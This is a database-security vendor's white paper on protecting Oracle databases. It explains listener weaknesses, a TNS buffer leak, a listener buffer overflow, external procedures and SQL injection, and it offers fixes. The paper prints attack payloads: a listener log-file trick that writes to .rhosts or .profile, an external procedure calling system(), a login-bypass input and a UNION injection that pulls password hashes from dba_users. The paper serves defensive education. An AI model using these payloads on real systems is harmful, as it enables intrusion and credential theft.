APPLICATION SECURITY, INC.

Protecting Oracle Databases

White Paper

APPLICATION SECURITY, INC.
WEB: WWW.APPSECINC.COM
E-MAIL: INFO@APPSECINC.COM
TEL: 1-866-9APPSEC • 1-212-947-8787

INTRODUCTION

One of the more recent evolutions in network security has been the movement away from protecting the perimeter of the network to protecting data at the source. This is evident in the emergence of the personal firewall. The reason behind this change has been that perimeter security no longer works in today's environment. Today more than just employees need access to data. It's imperative that partners and customers have access to this data as well. This means that your database cannot simply be hidden behind a firewall.

Of course, if you are going to open up your database to the world, it's imperative that you properly secure it from the threats and vulnerabilities of the outside world. Securing your database involves not only establishing strong password policy, but also adequate access controls. In this paper, we will cover various ways databases are attacked and how to prevent them from being "hacked."

CURRENT ORACLE SECURITY ENVIRONMENT

It is very easy in the security community to create an air of fear, uncertainty, and doubt (FUD). As Oracle professionals, it's important to see through the FUD, determine the actual risks, and investigate what can be done about the situation. The truth is that most Oracle databases are configured in a way that can be broken into relatively easily. This is not to say that Oracle cannot be properly secured – only that the information to properly lock down these databases has not been made available, and that the proper lockdown procedures have not been taken.

On the other hand, the number of Oracle databases compromised so far has not been nearly on the scale that we have seen web servers being attacked and compromised. The reasons for this are several.

- There are less Oracle database then web servers.
- The knowledge of Oracle security is limited.
- Getting a version of Oracle was difficult.
- Oracle was traditionally behind a firewall.

These factors have changed significantly over the past year.

First, there is an increasing interest for databases in the Black Hat hacker community. The number of talks on database security has grown significantly over the past two years at the infamous Defcon and Black Hat conferences in Las Vegas. The number of exploits reported on security news groups such as www.SecurityFocus.com has increased ten fold over the last year.

Downloading Oracle's software has also become much simpler. The latest version is available for download from the Oracle web site for anyone with a fast enough Internet connection and the installation process has become increasingly simpler.

The point is not that the world is going to end. However we do need to start taking database security seriously. Start by taking a proactive approach to understand the risks and securing databases.

WHY SHOULD I CARE ABOUT ORACLE SECURITY?

The most common point of network attack is the web server and other devices connected directly to the Internet. Usually these programs do not store a company's most valuable assets. The biggest issue from a defaced web site is usually the publicity and loss in trust of the company's customers.

A hacked database is entirely a different story. Databases store a company's most valuable assets – credit card information, medical records, payroll information, and trade secrets. If your database is compromised, it could likely have serious percussions on the viability of your business.

Security is also about the weakest link. Your network is only as secure as the weakest computer on the network. If you have a secure network with an insecure database, the operating system or other devices on the network can be attacked or compromised by the database. Databases should not provide a point of weakness.

Also, Oracle databases have become the backbone of most web server applications. They are becoming more and more Internet enabled meaning they are opened up to the world of bad guys, not just your employees. This is especially the case with Oracle9i Application Server, which is being pushed heavily by Oracle.

UNDERSTANDING VULNERABILITIES

In order to understand vulnerabilities, we should start by listing and describing the various classes of vulnerabilities.

- Vendor bugs
- Poor architecture
- Misconfigurations
- Incorrect usage

VENDOR BUGS

Vendor bugs are buffer overflows and other programming errors that result in malformed commands doing things they should not have been allowed to do. Downloading and applying patches usually fix vendor bugs. To ensure you are not vulnerable to one of these problems, you must stay aware of the patches and install them immediately when they are released.

POOR ARCHITECTURE

Poor architecture is the result of not properly factoring security into the design of how an application works. These are typically the hardest to fix because they require a major rework by the vendor. An example of poor architecture would be when a vendor uses a weak form of encryption.

MISCONFIGURATIONS

Misconfigurations are caused by not properly locking down Oracle. Many of the configurations options of Oracle can be set in a way that compromises security. Some of these parameters are set insecurely by default. Most are not a problem unless you unsuspectingly change the configuration. An example of this in Oracle is the REMOTE_OS_AUTHENTICATION parameter. By setting REMOTE_OS_AUTHENT to true you are allowing unauthenticated users to connect to your database.

INCORRECT USAGE

Incorrect usage refers to building programs using developer tools in ways that can be used to break into a system. Later in this paper we are going to cover one examples of this – SQL Injection.

LISTENER SERVICE

A good place to start delving into Oracle security is the Listener service - a single component in the Oracle subsystem. The listener service is a proxy that sets up the connection between the client and the database. The client directs a connection to the listener, which in turn hands the connection off to the database.

One of the security concerns of the listener is that it uses a separate authentication system and is controlled and administered outside of the database. The listener runs in a separate process under the context of a privileged account such as 'oracle'. The listener accepts commands and performs other tasks besides handing connections to the database.

LISTENER SECURITY IS NOT DATABASE SECURITY

Why is the separation of listener and database security a potential problem? There are a few reasons.

First is that many DBAs do not realize that a password must be set on the listener service. The listener service can be remotely administered just as it can be administered locally. This is not a feature that is clearly documented and is not well known by most database administrators.

Secondly, setting the password on the listener service is not straightforward. Several of the Oracle8i versions of the listener controller contain a bug that cause the listener controlled to crash when attempting to set a password. You can manually set the password in the listener.ora configuration file, but most people don't know how to, or have no idea that they should. The password itself is either stored in clear text or as a password hash in the listener.ora file. If it's hashed, setting the password in the listener.ora file manually cannot be done. If it is in clear text, anyone with access to read the $ORACLE_HOME/network/admin directory will be able to read the password.

KNOWN LISTENER PROBLEMS

So what are the know problems with the listener services? To investigate these problems, lets pull up the listener controller and run the help command. This gives us a list of the commands we have at our access.

To start the listener controller from UNIX, enter the following command at a UNIX shell.

```
$ORACLE_HOME/bin/lsnrctl
```

To list the commands available from the listener controller, run the following command at the listener controller prompt.

```
LSNRCTL for 32-bit Windows: Version 8.1.7.0.0 - Production on 04-JUN-2001
10:42:14

(c) Copyright 1998 Oracle Corporation.  All rights reserved.
Welcome to LSNRCTL, type "help" for information.

LSNRCTL> help
The following operations are available
An asterisk (*) denotes a modifier or extended command:

start               stop                status
services            version             reload
save_config         trace               dbsnmp_start
dbsnmp_stop         dbsnmp_status       change_password
quit                exit                set*
show*
```

Notice two of the commands with the asterisks after them – set and show. We can list the possible extended commands for these commands as well.

```
LSNRCTL> help set

password                rawmode                 displaymode
trc_file                trc_directory           trc_level
log_file                log_directory           log_status
current_listener        connect_timeout         startup_waittime
use_plugandplay         save_config_on_stop
```

Note the command 'set password'. This command is used to log us onto a listener. There are a couple of problems with this password. Namely that there is no lockout functionality for this password, the auditing of these commands is separate from the standard Oracle audit data, and the password does not expire (basically there is no password management features for the listener password). This means writing a simple script to brute force this password, even if it is set strongly, is not very difficult.

Another problem is that the connect process to the listener is not based on a challenge-response response protocol. Basically whatever you send across the wire is in clear text. Of course if you look at the traffic you might notice that a password hash is sent across the wire, but this password hash is actually a password equivalent - and knowledge of it is enough to login.

So what can a hacker accomplish once they have the listener password? There is an option to log the data sent to the listener to an operating system file. Once you have the password, you can set which file

the logging data is written, such as .profile, .rhosts, or autoexec.bat. Below is a typical command sent to the listener service.

```
(CONNECT_DATA=(COMMAND=ping))
```

Instead a hacker can send a packet containing a maliciously constructed payload such as below.

- "+ +" if the log file has been set to .rhosts
- "$ORACLE_HOME/bin/svrmgrl" followed by "CONNECT INTERNAL" and "ALTER USER SYS IDENTIFIED BY NEW_PASSWORD" if the log file has been set to .profile.

Oracle released a patch for this issue, which basically provides a configuration option you can set, that will not allow parameters to be reloaded dynamically. By setting the option, you disable a hacker's ability to change the log_file. Of course if you do not set this option, this problem is not fixed. By default this option is not set and it is the database administrator's responsibility to recognize and fix this problem.

TNS Leaks Data To Attacker

Another problem with the listener service is that it leaks information. This problem was first made public by James Abendschan. A full description of the problem can be found at http://www.jammed.com/~jwa/hacks/security/tnscmd/tns-advisory.txt.

The format of a listener packet is something like the following:

```
TNS Header – Size of packet – Protocol Version – Length of Command – Actual
Command
```

If you create a packet with an incorrect value in the 'size of packet' field, the listener will return to you any data in its command buffer up to the size of the buffer you sent. In other words, if the previous command submitted by another user was 100 characters long, and the command you send is 10 characters long, the first 10 character will be copied over by the listener, it will not correctly null terminate the command, and it returns to you your command plus the last 90 characters of the previous command.

For example, a typical packet sent to the listener looks as follows:

```
.T.......6.,..............:..............4............(CONNECT_DATA=.)
```

In this case we are sending a 16-byte command – `(CONNECT_DATA=.)`. One of the periods is actually the hex representation of the value 16, which indicates the command length. Instead we can change 16 to 32 and observe the results. Below is the response packet:

```
......."...(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_STACK=(ERROR=(COD
E=1153)(EMFI=4)(ARGS='(CONNECT_DATA=.)ervices))CONNECT'))(ERROR=(CODE=3
03)(EMFI=1))))
```

This return packets says that Oracle does not understand our command and the command it does not understand is returned in the ARGS value. Notice that the ARGS value is as follows:

```
ARGS='(CONNECT_DATA=.)ervices))CONNECT'
```

The ARGS value has returned our command plus an additional 16 characters. At this point it's not clear what the last 16 bytes are. So we then try to up the lie and tell the listener our command is 200 bytes long. Below is the return value we get from the listener.

```
........"..>.H.......@(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_STACK=
(ERROR=(CODE=1153)(EMFI=4)(ARGS='(CONNECT_DATA=.)ervices))CONNECT_DATA=(SID=
orcl)(global_dbname=test.com)(CID=(PROGRAM=C:\Oracle\bin\sqlplus.exe)(HOST=a
newman)(USER=aaron))')) (ERROR=(CODE=303)(EMFI=1))))
```

Notice this time the ARGS parameter is a little longer.

```
(CONNECT_DATA=.)ervices))CONNECT_DATA=(SID=orcl)(global_dbname=test.com)(CID
=(PROGRAM=C:\Oracle\bin\sqlplus.exe)(HOST=anewman)(USER=aaron))
```

Now it is a bit clearer what is being returned – previous commands submitted by other users to the database. You can even notice that the HOST and USER of the other user is displayed in this buffer.

This information is useful to an attacker in several ways. It can be used to gather a list of database usernames. An attacker can continually retrieve the buffer will over a matter of a few days retrieve a list of all the users that have logged in during that time. More dangerous is if the database administrator logs into the database using the listener password, you will be able to retrieve the listener password from the buffer.

This problem has been fixed in the latest patch sets (patchset 2 for Oracle version 8.1.7). It is also a good idea to deal with this problem by limiting access to connect to Oracle using a firewall or another packet filtering device.

BUFFER OVERFLOW IN LISTENER

Using the same techniques from the previous vulnerability, we can send a large connection string to the listener. If the packet contains more than 1 kilobyte of data, the listener crashes. Using a connection string of 4 kilobytes results in a core dump. An example of what this packet would look like follows:

```
.T.......6.,.............:.............4............(CONNECT_DATA=
XXXXXXXXXX
XXXXXXXXXXX<snip>XXXXXXXXXXXXXXXXXXXXXXXXXXX/0x12/0x54/0x5/0x34/0x12/0x54/0
x5/0x34/0x12/0x54/0x5/0x34/0x12/0x54/0x5/0x34/0x12/0x54/0x5/0x34/0x12/0x54/0
x5/0x34/0x12/0x54/0x5/0x34)
```

In the example above we have clipped most of the Xs. The funny characters at the end of the command are opcodes. Opcodes are low-level machine commands used by the hacker to inject commands that will be run on the database. By overflowing the stack with all the Xs, an attacker can cause the execution of arbitrary code by manipulating the SEH (Structured Exception Handling) mechanism.

EXTERNAL PROCEDURE SERVICE

External procedures are operating systems functions that can be called from PL/SQL. Oracle provides this facility to allow PL.SQL code to load and call functions in DLL (for Windows) or shared libraries (for UNIX). The functionality greatly enhances the capability of PL/SQL allowing it to perform any function the operating system can perform. With this flexibility is an increase in risk. Because external procedures are so powerful, the ability to create and use them should be controlled tightly and restricted to administrators only.

External procedures are setup using a combination of libraries, packages, functions, and procedures. Below is an example of creating an external procedure server which creates a hook to the function exec() in the DLL msvcrt.dll. This function runs operating system commands as if at an operating system console. The commands execute under the operating system context that Oracle runs under:

```
CREATE LIBRARY test AS 'msvcrt,dll';

CREATE PACKAGE test_function IS
PROCEDURE exec(command IN CHAR);
END test_function;

CREATE PACKAGE BODY test_function IS
PROCEDURE exec(command IN CHAR)
IS EXTERNAL
NAME "system"
LIBRARY test
LANGUAGE C;
END test;
```

External procedures are configured via creating the appropriate entries in the listener.ora file through where commands are sent. Below is a sample of a default listener.ora file in a default Oracle8i installation. By default an EXTPROC service is created in Oracle8i:

```
LISTENER =
  (DESCRIPTION_LIST =
    (DESCRIPTION =
      (ADDRESS_LIST =
        (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC0))
      )
      (ADDRESS_LIST =
        (ADDRESS = (PROTOCOL = TCP)(HOST = S0023605)(PORT = 1521))
      )
    )
    (DESCRIPTION =
      (PROTOCOL_STACK =
        (PRESENTATION = GIOP)
        (SESSION = RAW)
      )
      (ADDRESS = (PROTOCOL = TCP)(HOST = S0023605)(PORT = 2481))
    )
  )

SID_LIST_LISTENER =
  (SID_LIST =
    (SID_DESC =
      (SID_NAME = PLSExtProc)
      (ORACLE_HOME = E:\oracle\ora81)
      (PROGRAM = extproc)
    )
    (SID_DESC =
      (GLOBAL_DBNAME = aaron)
      (ORACLE_HOME = E:\oracle\ora81)
      (SID_NAME = aaron)
    )
  )
```

Notice the sections in italics. These are the sections that apply to external procedures. To understand how this works, notice the entry “PROGRAM=extproc”. This is actually telling the listener which file to run when a command is sent. Several command line parameters are passed to this file, including the DLL to load and the function to call in the function.

This listener,ora file creates a listener service that accepts commands sent to port 1521 or to the IPC protocol. It will accept command sent to the SID “aaron” or to the EXTPROC0.

A feature of external procedures is that they can be called remotely. This feature is not official supported, but it does work. What this means is that the database may reside on one physical server and the listener and EXTPROC service may exist on a different physical server. While this is great for distributing computing power across servers, the fact is that there is no authentication between the database and the EXTPROC. This means that any remote user can connect to an external procedure service and cause it to load arbitrary DLLs and call functions in them. This allows an authenticated user total control to execute any commands on the server.

In Oracle9i, by default EXTPROC services are not configured by default. This alleviates the security out of the box, but does not address the issue if you actually need to use this feature. The correct way to use this feature securely is to setup a callout listener. This is basically setting up a second listener service that only listens for the IPC protocol. This prevents anonymous users from making TCP/IP to the listener and sending it commands. Below is an example of configuring a callout listener.

```
callout_listener =
  (ADDRESS_LIST =
    (ADDRESS =
        (PROTOCOL = IPC)
        (KEY = extproc_key)
    )
  )

sid_list_callout_listener =
  (SID_LIST =
    (SID_DESC =
      (SID_NAME = extproc_agent)
      (ORACLE_HOME = oraclehomedir)
      (PROGRAM = extproc)
    )
  )
```

SQL INJECTION

Because your firewall is behind a database does not mean that you do not need to worry about it being attacked. There are several other forms of attack that can be made through the firewall. The most common of these attacks today is SQL Injection. SQL Injection is not an attack directly on the database. SQL Injection is caused by the way in which web applications are developed. Unfortunately since you are trying to protect the database, you need to be aware of these issues and understand how to detect and fix the problems.

SQL Injection works by attempt to modify the parameters passed to a web application to change the SQL statements that are passed to the database. For instance, you may want the web application to select from the orders table for a specific customer. If the hacker enters a single quote into the field on the web form and then enters another query into the field, it may be possible to cause the second query to execute.

The simplest way to verify whether you are vulnerable or not is to embed a single quote into each field on each form and verify the results. Some sites will return the error results claiming a syntax error. Some sites will catch the error and not report anything. Of course, these sites are still vulnerable, but they are much harder to exploit if you do not get the feedback from the error messages.

This attack works against any database, not just Oracle. How this attacks works varies slightly from database to database, but the fundamental problem is the same for all databases.

SQL INJECTION SAMPLE1

So how does the exploit work? Does would an attacker a SQL Statement to another SQL statement?
SQL Injection is based on a hacker attempting to modify a query, such as:

```
Select * from my_table where column_x = '1'
```

to:

```
Select * from my_table where column_x = '1' UNION select password from
DBA_USERS where 'q'='q'
```

In the preceding example, we see a single query being converted into 2 queries. There are also ways to modify the WHERE criteria to update or delete rows not meant to be updated or deleted. With other databases you can embed a second command into the query. Oracle does not allow you to do this. Instead an attacker would need to figure out how to supplement the end of the query. Note the 'q' = 'q' at the end. This is used because we must handle the second single quote that the ASP page is adding onto the end of the page. This clause simply evaluates to TRUE.

Here is an example of a Java Server Page that you might typically find in a web application. Here we have the case of a typical authentication mechanism used to login to a web site. You must enter your password and your username. Using these two fields we get a SQL statement that selects from the tables where the username and password match the input. If a match is found, the user is authenticated. If the recordset in our code is empty, then an invalid username or password must have been provided and the login is denied. Of course, a better idea would be to use the authentication built into the web server, but this form of "home grown" authentication is very common.

```
Package myseverlets;
<….>
String sql = new String(“SELECT * FROM WebUsers WHERE Username=’” +
request.getParameter(“username”) + “’ AND Password=’” +
request.getParameter(“password”) + “’”
stmt = Conn.prepareStatement(sql)
Rs = stmt.executeQuery()
```

Exploiting the problem is much simpler if you can access the source of the web page. You should not be able to see the source code, however there are many bugs in most of the common web servers that allow an attacker to view the source of scripts, and I’m sure there are still lots that have not yet been discovered.

The problem with our ASP code is that we are concatenating our SQL statement together without parsing out any single quotes. Parsing out single quotes is a good first step, but it's recommended that you actually use parameterized SQL statements instead.

For the following web page, I set the username to:

```
Bob
```

I also set the password to:

```
Hardtoguesspassword
```

The SQL statement for these parameters resolves to:

```
SELECT * FROM WebUsers WHERE Username=’Bob’ AND Password=’Hardtoguess’
```

What if an attacker instead of using a regular password, enters some letter, uses a single quote to end the string literal, then inserts another boolean expression in the where clause. Obviously this boolean expression is TRUE which returns all the rows in the table. For instance, if an attacker instead enters the password as:

```
Aa’ OR ‘A’=‘A
```

The SQL statement now becomes:

```
SELECT * FROM WebUsers WHERE Username='Bob' AND Password='Aa' OR 'A'='A'
```

As you can see, this query will always return all the rows in the database, and the attacker will have convinced the web application that a correct username and password was passed in. The kicker is that when the recordset contains the entire set of users, the first entry in the list will typically be the Administrator of the system, so there is a good chance the attacker will be authenticated will full administrative rights to the application.

SQL INJECTION SAMPLE2

Various twists on SQL Injections can also be performed. An attacker can select data other than the rows from the table being selected from by using a UNION. Here's another example of how to pull data back from other tables that are not directly involved in the current query. The best way to exploit this issue is to find a screen that contains a dynamic list of items, such as a list of open orders or the results of a search.

The trick here for the attacker is to make the single query into 2 queries and UNION them. This is somewhat difficult because you must match up the number of columns and column types. However, if the server provides you the error messages, the task is relatively simply. The error returned will be something to the meaning of:

```
Number of columns do not match
```

Or:

```
2nd column in UNION statement does not match the type of the first
statement.
```

This time we will look at a sample Active Server Page that might typically be found in an application.

```
Dim sql
Sql = "SELECT * FROM PRODUCT WHERE ProductName='" & product_name & "'"
Set rs = Conn.OpenRecordset(sql)
' return the rows to the browser
```

Once again, we'll say we have access to the source code. An attacker does not really need the source code, but it does make our lives easier for demonstration purposes. Once again we are not using parameterized queries, but instead are concatenating a string to build our SQL statement.

We try entering valid input by setting the product_name to:

```
DVD Player
```

The SQL Statement is now:

```
SELECT * FROM PRODUCT WHERE ProductName='DVD Player'
```

An attacker would instead want to get a copy of the password hashes from your databases. Once he has these hashes, he can start brute-forcing them. The hacker would set the product_name to:

```
test' UNION select username, password from dba_users where 'a' = 'a
```

The SQL Statement is now:

```
SELECT * FROM PRODUCT WHERE ProductName='test' UNION select username,
password from dba_users where 'a'='a'
```

Instead of entering a single word, the attacker used a single quote to end the string literal, then adds a UNION command and a second statement. Notice at the end that he must still handle the fact that the code will place another single quote at the end, so we end our second SQL query with:

```
'a'='a
```

This last clause evaluates to TRUE causing all rows to be returned from the dba_users table.

PREVENTING SQL INJECTION

Preventing SQL injection attacks from happening are simply once you understand the problem. Really there are two strategies you can use to prevent the attacks.

- Validate user input
- Use parameterized queries

Validating user input involves parsing field to restrict the valid characters that are accepted. In most cases, fields should only accept alphanumeric characters.

Also you can escape single quotes into 2 single quotes although this method is riskier since it is much easier to miss parsing input somewhere.

Using parameterized queries involves bind variables rather than concatenating SQL statements together as strings.

The biggest challenge will be reviewing and updating all the old CGI scripts, ASP pages, etc… in your web applications to remove any instance of this vulnerability. It is also suggested that you setup a programming guideline for web programmers that includes emphasis on using parameterized queries and not constructing SQL by concatenating strings with input values.

CONCLUSION

The truth is, there are not a lot of resources out there to keep up with Oracle security. There are a few simple tasks that can be performed to reduce your security risk to a reasonable level.

- Stay patched. To download patches go to http://metalink.oracle.com.
- Stay aware of Oracle security hole. You can subscribe to a list to receive an email when a new security alerts is publicized by going to http://www.oraclesecurity.net/resources/mailinglist.html.
- To ask questions on Oracle security, check out http://www.oraclesecurity.net/cgi-bin/ubb/ultimatebb.cgi.
- Explore possible third-party security solutions.

By staying informed and aware of the security risks, you should be able to keep the risks to a minimum.

ABOUT APPLICATION SECURITY, INC. (APPSECINC)

AppSecInc is the leading provider of database security solutions for the enterprise. AppSecInc products proactively secure enterprise applications by discovering, assessing, and protecting the database against rapidly changing security threats. By securing data at its source, we enable organizations to more confidently extend their business with customers, partners and suppliers. Our security experts, combined with our strong support team, deliver up-to-date application safeguards that minimize risk and eliminate its impact on business. Please contact us at 1-866-927-7732 to learn more, or visit us on the web at www.appsecinc.com.